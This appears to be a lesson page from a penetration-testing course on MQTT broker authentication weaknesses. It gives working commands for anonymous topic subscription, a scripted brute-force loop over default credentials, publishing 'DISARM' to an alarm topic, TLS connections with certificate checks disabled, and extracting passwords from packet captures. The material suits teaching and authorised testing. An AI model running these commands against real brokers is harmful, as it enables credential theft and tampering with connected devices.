authentication-failures
practicalL4 — Authentication Failures
A broker that doesn't reject your anonymous connection is the easiest case. But authentication is frequently present and still broken. Weak credentials, misconfigured ACLs, anonymous access scoped to specific topics, and TLS deployed without cert validation are all common failure modes.
Confirming No Authentication
mosquitto_sub -h <broker> -p 1883 -t "#" -v
If this command connects and begins receiving messages, the broker requires no credentials. No further authentication work needed — proceed to enumeration.
If it fails immediately with:
Connection Refused: not authorised.
Authentication is required. The broker is configured with allow_anonymous false.
Credential Brute Force
Most MQTT broker credentials are set once during deployment from a tutorial or default configuration and never changed. The credential space is small.
Manual Testing
mosquitto_sub -h <broker> -u "admin" -P "admin" -t "test" -C 1 --quiet
Flags:
- -u — username
- -P — password (capital P, not lowercase)
- -C 1 — disconnect after receiving one message (or timeout)
- --quiet — suppress informational output, only show errors
Exit code 0 = connected successfully. Exit code non-zero = failed.
Scripted Credential Testing
for cred in "admin:admin" "admin:password" "mqtt:mqtt" "user:user" "test:test" \
"guest:guest" "admin:1234" "admin:mosquitto" "root:root" \
"admin:admin123" "mqtt:password" "device:device"; do
user=$(echo $cred | cut -d: -f1)
pass=$(echo $cred | cut -d: -f2)
result=$(mosquitto_sub -h <broker> -u "$user" -P "$pass" \
-t "test" -C 1 --quiet 2>&1)
if [ $? -eq 0 ]; then
echo "[+] VALID: $user:$pass"
else
echo "[-] Failed: $user:$pass"
fi
done
The exit code from mosquitto_sub distinguishes authentication failure from connection success. This is reliable as long as the broker doesn't enforce rate limiting (most don't — MQTT has no built-in brute force protection).
Why These Credentials Work
admin:admin— Mosquitto documentation examples use thismqtt:mqtt— Default in many MQTT broker Docker imagestest:test— Development credentials left in production configsguest:guest— Home automation platform defaults (Home Assistant, openHAB)
The mosquitto_passwd utility used to create broker password files doesn't enforce any complexity requirements. Whatever the person typed when they first set up the broker is what you're testing against.
ACL Misconfiguration
A broker can require authentication but grant overly broad topic access after login. The access control list (ACL) in Mosquitto is configured in a separate file referenced from mosquitto.conf:
acl_file /etc/mosquitto/acl
A correct ACL restricts each user to their own topics:
user sensor_01
topic read device/sensor_01/#
topic write device/sensor_01/#
user dashboard
topic read home/#
A misconfigured ACL — or no ACL file at all — grants authenticated users access to every topic. If you brute-force valid credentials for a low-privilege user, you may still be able to subscribe to every topic on the broker.
Testing ACL Coverage After Authentication
Once you have valid credentials:
# Can I subscribe to everything?
mosquitto_sub -h <broker> -u "validuser" -P "validpass" -t "#" -v -C 5
# Can I subscribe to another user's topics?
mosquitto_sub -h <broker> -u "sensor_01" -P "pass1" -t "device/sensor_02/#" -v -C 5
# Can I publish to command topics?
mosquitto_pub -h <broker> -u "validuser" -P "validpass" \
-t "home/alarm/command" -m "DISARM"
If a user has subscribe access to #, they see everything regardless of what their intended scope was.
Anonymous Read with Auth Required for Write
Some deployments configure brokers to allow anonymous read but require authentication to publish. This is an intentional design for monitoring systems — public dashboards can read sensor data without credentials.
The misconfiguration: anonymous subscribers can read topics that include sensitive data — credentials published as retained messages, device tokens in telemetry, internal network configuration. The write restriction is irrelevant if the damage is in the read path.
Detect this pattern:
# Connect anonymously and subscribe
mosquitto_sub -h <broker> -t "#" -v -C 10
# Then try to publish anonymously
mosquitto_pub -h <broker> -t "test/probe" -m "ping"
# "Connection Refused: not authorised" for publish but read worked
TLS Without Certificate Verification
Port 8883 uses TLS transport. TLS encrypts the channel but does not imply authentication. More importantly, many MQTT clients are configured to skip certificate validation.
Testing TLS Broker
# Connect with TLS, accepting any certificate
mosquitto_sub -h <broker> -p 8883 --insecure -t "#" -v
# --insecure disables certificate verification
If the broker accepts this connection, TLS is providing encryption but not authentication. A self-signed cert or an expired cert with --insecure behaves identically to no TLS for an attacker with network access.
Certificate Inspection
# Get the TLS certificate without connecting as MQTT client
openssl s_client -connect <broker>:8883 -showcerts </dev/null 2>/dev/null | \
openssl x509 -noout -text | grep -E "Subject:|Issuer:|Not After"
Self-signed certificates on MQTT brokers typically show:
Subject: CN = localhost
Issuer: CN = localhost
Not After: some date in 2019
An expired self-signed cert with a subject of localhost means TLS was added as an afterthought and is providing minimal security.
Extracting Credentials from CONNECT Packets (PCAP)
When you have a network capture containing MQTT traffic, credential extraction is deterministic.
Wireshark GUI
- Open the
.pcapfile - Apply filter:
mqtt.msgtype == 1 - Expand any CONNECT packet in the packet details pane
- Look for:
User NameandPasswordfields under the MQTT layer
tshark CLI Extraction
# Extract all CONNECT packet credentials from a pcap
tshark -r capture.pcap \
-Y "mqtt.msgtype == 1" \
-T fields \
-e mqtt.clientid \
-e mqtt.username \
-e mqtt.passwd
Output:
ESP32_sensor_04 admin mqtt_prod_2023
shelly-ABCDEF device Sh3llyP@ss!
dashboard_v2 monitor (empty)
Each row is one CONNECT packet. Three fields: client ID, username, password. The client ID alone is useful for device identification even when credentials aren't present.
tcpdump One-Liner
For plaintext captures where you want to extract credentials without a full PCAP tool:
# Read from saved capture, print MQTT payload bytes as ASCII
tcpdump -r capture.pcap -A port 1883 2>/dev/null | grep -A5 "CONNECT"
This is less reliable than tshark but works without Wireshark installed.
Common Authentication Failure Patterns in the Wild
| Configuration | Symptom | Frequency |
|---|---|---|
allow_anonymous true (default) |
Anonymous access, no auth | Very common |
| Password file with weak creds | Brute-forceable | Common |
| No ACL file | Auth required but no topic restrictions | Common |
| Anonymous read, auth write | Public sensor data with sensitive retained messages | Moderate |
TLS with --insecure accepted |
Encrypted channel, no cert validation | Moderate |
ACL wildcard topic readwrite # |
All authenticated users see everything | Common in tutorials |
Key Takeaways
- MQTT has no built-in brute force protection — rate limiting is up to the broker admin and is rarely configured
- Authentication and authorization are separate: valid credentials don't guarantee restricted topic access
--insecureon TLS connections bypasses certificate validation, which is the default in many MQTT client librariestshark -Y "mqtt.msgtype == 1"extracts all credentials from any plaintext MQTT capture- Anonymous read access with sensitive retained messages is a data leak even when write requires auth